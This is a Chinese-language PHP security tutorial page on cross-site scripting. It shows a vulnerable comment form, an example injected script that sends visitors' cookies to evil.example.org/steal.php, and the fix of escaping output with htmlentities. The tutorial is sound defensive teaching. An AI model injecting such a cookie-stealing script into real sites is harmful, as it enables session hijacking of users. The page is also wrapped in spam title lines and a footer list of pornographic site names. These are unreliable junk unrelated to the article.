亚洲精品久久久中文字幕-亚洲精品久久片久久-亚洲精品久久青草-亚洲精品久久婷婷爱久久婷婷-亚洲精品久久午夜香蕉

您的位置:首頁技術文章
文章詳情頁

PHP安全-跨站腳本攻擊

瀏覽:83日期:2022-09-12 09:44:45
跨站腳本攻擊

跨站腳本攻擊是眾所周知的攻擊方式之一。所有平臺上的Web應用都深受其擾,PHP應用也不例外。

所有有輸入的應用都面臨著風險。Webmail,論壇,留言本,甚至是Blog。事實上,大多數(shù)Web應用提供輸入是出于更吸引人氣的目的,但同時這也會把自己置于危險之中。如果輸入沒有正確地進行過濾和轉義,跨站腳本漏洞就產生了。

以一個允許在每個頁面上錄入評論的應用為例,它使用了下面的表單幫助用戶進行提交:

CODE:

<form action='comment.php' method='POST' />

<p>Name: <input type='text' name='name' /><br />

Comment: <textarea name='comment' rows='10' cols='60'></textarea><br />

<input type='submit' value='Add Comment' /></p>

</form>

程序向其他訪問該頁面的用戶顯示評論。例如,類似下面的代碼段可能被用來輸出一個評論($comment)及與之對應的發(fā)表人($name):

CODE:

<?php

echo '<p>$name writes:<br />';

echo '<blockquote>$comment</blockquote></p>';

?>

這個流程對$comment及$name的值給予了充分的信任,想象一下它們中的一個的內容中包含如下代碼:

CODE:

<script>

document.location =

’http://evil.example.org/steal.php?cookies=’ +

document.cookie

</script>

如果你的用戶察看這個評論時,這與你允許別人在你的網(wǎng)站源程序中加入Javascript代碼無異。你的用戶會在不知不覺中把他們的cookies(瀏覽網(wǎng)站的人)發(fā)送到evil.example.org,而接收程序(steal.php)可以通過$_GET[’cookies’]變量防問所有的cookies。

這是一個常見的錯誤,主要是由于不好的編程習慣引發(fā)的。幸運的是此類錯誤很容易避免。由于這種風險只在你輸出了被污染數(shù)據(jù)時發(fā)生,所以只要確保做到如第一章所述的過濾輸入及轉義輸出即可

最起碼你要用htmlentities( )對任何你要輸出到客戶端的數(shù)據(jù)進行轉義。該函數(shù)可以把所有的特殊字符轉換成HTML表示方式。所有會引起瀏覽器進行特殊處理的字符在進行了轉換后,就能確保顯示出來的是原來錄入的內容。

由此,用下面的代碼來顯示評論是更安全的:

CODE:

<?php

$clean = array();

$html = array();

/* Filter Input ($name, $comment) */

$html[’name’] = htmlentities($clean[’name’], ENT_QUOTES, ’UTF-8’);

$html[’comment’] = htmlentities($clean[’comment’], ENT_QUOTES, ’UTF-8’);

echo '<p>{$html[’name’]} writes:<br />';

echo '<blockquote>{$html[’comment’]}</blockquote></p>';

?>

標簽: PHP
相關文章:
主站蜘蛛池模板: 日本aaaa级| 欧美综合亚洲 | 91精品全国免费观看老司机 | 日本人一级毛片免费完整视频 | 草逼社区| 亚洲五月综合缴情婷婷 | 91夜色视频| 岛国大片在线观看免费版 | 永久免费的网站 | 中国一级毛片录像 | 午夜精品久久久久久91 | 美女喷水视频在线观看 | 香蕉高清免费永久在线视频 | 97国产在线视频 | 国产精品久久久久久小说 | 9ⅰ视频在线播放 | 精品国产欧美 | 91女神在线观看 | 成熟热自由日本语亚洲人 | 一级日韩片| 国产乱人免费视频 | 成年人免费网站在线观看 | 国内精品久久久久影院薰衣草 | 97国产精品欧美一区二区三区 | 911国产在线观看精品 | 日本韩国欧美在线观看 | 欧美成人精品第一区 | 国产精品视频网站你懂得 | 91仓本c仔约高挑嫩模在线 | 欧美亚洲国产精品久久久 | 国产在线视频专区 | 黄色免费在线观看网址 | 久草福利在线 | 国产成人精品在线观看 | 国产在线精彩视频二区 | 亚洲爱色 | xvideos亚洲 | 日韩免费高清一级毛片久久 | 成人免费激情视频 | 丁香婷婷激情网 | 国产精品色午夜视频免费看 |